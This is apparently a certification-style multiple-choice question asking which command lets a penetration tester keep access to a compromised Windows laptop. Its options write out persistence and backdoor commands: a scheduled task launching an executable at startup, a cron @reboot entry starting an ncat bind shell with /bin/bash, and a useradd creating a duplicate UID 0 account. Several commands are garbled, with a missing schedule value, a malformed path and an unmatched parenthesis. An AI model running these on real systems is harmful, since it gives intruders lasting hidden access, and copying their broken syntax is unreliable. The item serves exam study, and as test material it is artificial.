A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop.
Which of the following can be used to ensure the tester is able to maintain access to the system?

A. schtasks /create /sc /ONSTART /tr C:Temp|WindowsUpdate.exe
B. wmic startup get caption,command
C. crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
D. sudo useradd -ou 0 -g 0 user